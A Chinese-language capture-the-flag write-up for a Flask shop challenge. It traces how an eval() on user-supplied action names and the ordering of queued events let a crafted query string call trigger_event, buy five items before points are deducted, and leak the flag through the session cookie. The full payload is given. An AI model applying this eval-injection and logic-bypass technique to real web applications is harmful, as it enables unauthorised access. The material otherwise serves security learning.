四个按钮
一个是看源码
一个是进商店买
一个是重置
一个是返回index
然后url的格式都是这样的
?action:index;True%23False
?action:view;shop
?action:view;reset
?action:view;index
首先登陆的时候
http://url_prefix/d5afe1f66147e857/
会先进入这个路由 执行entry_point()
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
大概就是先url解码得querystring
之后对querystring有个判断
然后设置session
session有三项分别为num_items(购买数量),points(点数),log(访问记录)
之后执行
trigger_event(querystring)
return execute_event_loop()
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
这里面执行的操作就是将event添加到session[‘log’]中并保留最后的五个
并将这些event添加到request.event_queue中
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled.
'
resp += 'Go back to index.html
'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
大概操作就是从request.event_queue中逐个取出event检测格式,并执行
重点在else里面
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
首先判断event第一个字符是不是a
之后调用了一个函数
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
就是对haystack以prefix, postfix进行分割
但是里面用的是find,也就是说只会查找第一次出现的位置
action是对event分割,取第一个:和;中间的部分
args是先对event分割,取第一个action+:之后的部分,然后再以#分割
之后用了eval执行(如果is_action,添加_handler在后面,否则添加_function在后面)
event_handler = eval( action + (’_ handler’ if is_action else '_ function '))
最后将参数传进去ret_val = event_handler(args)
我们以访问商店event为例:
event=action:view;shop
is_action=true
action=view
args=[‘shop’]
event_handler=eval(view_ handler)
ret_val=view_ handler(shop)
验证一下
好了现在我们大概了解了后端执行的流程
那么怎么获得flag呢
发现了这三个函数
def FLAG():
return '*********************' # censored
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;)
'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
第一,三个能返回flag
但第一个return了flag却没有输出,只是return回来了
而第三个会调用前两个,触发trigger_event将flag写入log记录项中,而log的内容可以通过破解session获得
但是条件是session[‘num_items’] >= 5:
也就是需要先让num_items>=5,之后让get_flag_handler执行,最后解密session得flag
先看看怎么能让num_items>=5
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy
'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
发现buy_handler和consume_point_function是分开的
也就是我们先提交自己的购买个数给buy_handler
buy_handler通过trigger_event将事件consume_point_function加入了事件的列表
所以如果要买一个log里应该是这样:
[‘action:buy;1’,[[‘func:consume_point;1’.‘action:view;index’]]]
于是我们买一个
抓包
破解一下session
破解session工具
注意一点
'action:buy;1’是我们购买时添加进事件中的
[‘func:consume_point;1’.‘action:view;index’]这个是buy_handler执行到
trigger_event([‘func:consume_point;{}’.format(num_items), ‘action:view;index’])添加进log中的
于是有了漏洞
因为trigger_event() 先将事件添加到log
之后真正执行是execute_event_loop()
也就是说如果只要在将buy_handler添加到记录的同时加入get_flag_handler
执行的log就会变成
[‘action:buy;5’,‘action:get_flag’]
之后buy_handler执行,添加事件consume_point
[‘action:buy;5’,‘action:get_flag’,[[‘func:consume_point;5’.‘action:view;index’]]]
由于get_flag在consume_point前执行
这时候num_items可以等于5
绕过了
那么如何将get_flag添加进log
正好可以参考这里
用trigger_event([‘action:buy;5’,‘action:get_flag;’])
整个代码中能根据输入的url调用函数的地方只有刚刚的eval
于是我们回到else
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
我们现在已经知道
action是函数
args是函数的参数
所以只要想办法让
args=[‘action:buy;5’,‘action:get_flag;’]
action=trigger_event
就可以了
我们知道#可以分割args
但会这时的action=trigger_event_handler
args也多出了第一个空元素
最后经过尝试发现这样可以
这时的action=trigger_event#_handler,执行时#将后边的注释了
最后的payload是
?action:trigger_event%23;action:buy;5%23action:get_flag;
#要编码为%23
访问用bp抓包
解密响应包的session
b